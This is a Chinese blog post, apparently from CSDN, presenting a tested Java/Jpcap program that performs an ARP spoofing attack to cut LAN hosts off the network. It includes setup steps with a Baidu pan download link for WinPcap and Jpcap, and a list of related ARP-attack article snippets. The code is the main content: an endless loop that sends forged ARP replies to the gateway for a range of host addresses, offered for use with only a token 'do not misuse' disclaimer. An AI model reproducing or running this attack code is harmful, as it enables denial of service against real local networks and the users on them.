java实现arp断网攻击,可攻击局域网内所有的主机
文章意在技术交流,请勿用于做不道德的事情
代码已经做过测试,被攻击的局域网主机都会断网(在没有防护措施的情况下)
一:配置环境
链接:https://pan.baidu.com/s/1aJb-S9OhBS9aJnlUCRudaw
提取码:6zip
复制这段内容后打开百度网盘手机App,操作更方便哦
1.WinpPcap双击安装即可。
2.Jpcap.dll复制到java jdk的安装目录下的bin目录里
3.eclipse导入jpcap.jar包
(怕有病毒的可以去官网下载哦)
代码:
import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket; public class arp{ static byte[] stomac(String s) { byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; String[] s1 = s.split("-"); //s,传入的参数名,分割 for (int x = 0; x < s1.length; x++) { mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); //先从16进制转换成int,再从大向小处理(int变成byte), (& 0xff)进行与运算避免出错。} return mac; //mac地址发送过去必须是byte字节,就是从16进制的mac地址转换成byte字节(这就是这个函数的作用)。} public static void main(String[] args) throws Exception {while(true){for(int i=100;i<104;i++) //ip最后一位自己设置{String str="192.168.0."; //网段前三位str+=String.valueOf(i);System.out.println(str);InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺骗的目标IP地址 (要欺骗网关,填写网关的地址然后发送) byte[] desmac = stomac("59-d9-d5-cb-b6-48");// 被欺骗的目标目标MAC数组 InetAddress srcip = InetAddress.getByName(str);// 源IP地址 (给网关发送一个arp包,告诉网关这个ip地址的mac是什么) byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC数组 // 枚举网卡并打开设备 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //枚举网卡设备 NetworkInterface device = devices[2]; //选择网卡设备 JpcapSender sender = JpcapSender.openDevice(device); //打开网卡设备 // 设置ARP包 ARPPacket arp = new ARPPacket(); arp.hardtype = ARPPacket.HARDTYPE_ETHER; //硬件类型 arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型 arp.operation = ARPPacket.ARP_REPLY; //操作类型 REPLY 表示类型为应答 arp.hlen = 6; //硬件地址长度 arp.plen = 4; //协议类型长度 //获取ip地址和mac地址,等下要用到arp.sender_hardaddr = srcmac; //发送端MAC地址 arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址 secip(源ip) arp.target_hardaddr = desmac; //目标硬件地址 arp.target_protoaddr = desip.getAddress(); //目标IP地址 desip(目标ip) // 定义以太网首部 EthernetPacket ether = new EthernetPacket(); ether.frametype = EthernetPacket.ETHERTYPE_ARP; //设置帧的类型为ARP帧 ether.src_mac = srcmac; //源MAC地址 ether.dst_mac = desmac; //目标MAC地址 arp.datalink = ether; //添加 // 发送ARP应答包 System.out.println("sending arp.."); sender.sendPacket(arp); Thread.sleep(10); //休眠了0秒,但是执行 sleep 方法后,不仅会休眠,还会让 CPU 重新分配,这样一些功能就不会假死在那里。}}}
}
欢迎分享
java实现arp断网攻击,可攻击局域网内所有的主机相关推荐
- 网络安全专栏——局域网arp断网攻击
步骤 系列文章 前言 1.实验准备 1.1cmd命令行,查看本机ip网关信息 1.2确保本机能上网 1.3获取虚拟机信息 2.开始arp断网攻击 2.1 可能出现的问题:arpspoof: could ...
- java arp 攻击_基于Jpcap的Java ARP断网攻击
这是大二学习计算机网络的时候写的一个小程序,可实现局域网内断网攻击.这也作为学习网络层.数据链路层(在OSI模型中ARP协议属于链路层:而在TCP/IP模型中,ARP协议属于网络层)的其中一个小实验吧 ...
- python指定进程断网_python通过scapy模块进行arp断网攻击
前言: 想实现像arpsoof一样的工具 arp断网攻击原理: 通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量.攻击者 只要持续不断发送arp包就能造成中间人攻击或者断网攻击. ...
- 干货,分享kali安装arpspoof,以及常见错误问题,结尾附上局域网arp断网攻击
第一步换源 进入 cd /etc/apt 更换两个源地址 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib ...
- arp断网攻击解决办法
局域网中有这个提示arp断网攻击是正常的,说明防火墙已经拦截了,是有人用P2P工具控制你的网速,或者是局域网有机器中病毒了也会有这样的提示,不过不用担心,今天给大家带来几个防止arp断网攻击的办法,希 ...
- ARP断网欺骗攻击利用工具
ARP(Address Resolution Protocol)即地址解析协议,是根据IP地址 获取物理地址(MAC地址)的TCP/IP协议.主要原理是主机发送信息时将包含目标IP地址的ARP请求广播 ...
- ARP断网攻击和防御
在介绍ARP断网攻击之前,我们先来了解一些基本术语. 基本术语 ARP 英文全称为Address Resolution Protocol,即地址解析协议,是根据IP地址获取MAC地址的一个TCP/IP ...
- Linux kali内网渗透之ARP断网攻击
Linux kali内网渗透之ARP断网攻击 ARP断网攻击 如果你的kali是虚拟机 ,请将其设置为网络桥接模式,这样才和内网在同一网段 如果你的kali里没有安装arpspoof,请在终端输入如下 ...
- 使用Kali进行ARP断网攻击
一.使用Kali进行ARP断网攻击 ARP(Address Resolution Protocol),地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议. 主机发送信息时将包含目标IP地址 ...
最新文章
- 浙大吴飞教授:尽管AlphaGo Zero已强大到从经验中学习模型,我也绝不赞同马斯克和霍金的威胁论,人才是智能的最终主宰
- 探讨.NET Core数据进行3DES加密和解密问题
- php laravel 默认cookie加密 读取怎么办_Laravel+Nginx轻松实现读写分离、负载均衡,网站并发能力提升N倍...
- 对于SAP的月结相关流程介绍
- 腾讯基于全时态数据库技术的数据闪回
- 最优化课堂笔记04:非线性规划(考点4-5例题)
- shell(希尔排序)
- LeetCode 1652. 拆炸弹(前缀和)
- 大同大学计算机与网络工程学院,计算机与网络工程学院代表队 在第十一届“蓝桥杯”全国软件和信息技术人才大赛全国决赛中再获佳绩...
- 计算机网络—停止等待协议(思维导图)
- Flask 系列之 SQLAlchemy
- oracle学习笔记汇总
- AndroidStudio遇到的问题
- 如何用计算机画出分子轨道图,常见的分子轨道图.pdf
- Python:try……excepted捕获方法
- Android 图片虚化,虚化图片,模糊图片
- Devise Gem简介
- 如何做好项目规划?以及项目规划常用的管理软件盘点
- 接口文档应该如何编写
- ios 判断应该用pop返回还是dismis返回
热门文章
- python神经网络训练_Python深度学习训练神经网络
- 被尘封的故事鸿蒙轩,被尘封的故事全任务通关人物存档
- java中getlast_Java ArrayDeque getLast()用法及代码示例
- matlab设计凸轮轮廓代码_机械设计基础之什么是凸轮机构,分类和常用运动规律是怎么样的?...
- lua游戏开发实践指南光盘_Godot游戏开发实践之一:用High Level Multiplayer API制作多人游戏(上)
- 使用Zookeeper共享锁和排它锁和分布式队列的原理和实现(ZkClient)
- MATLAB中unwrap函数
- oracle是delete可以加并行吗,提高Oracle DELETE性能的策略
- knn k的选取_经典算法(四):KNN
- Mybatis 一对多关联查询collection用法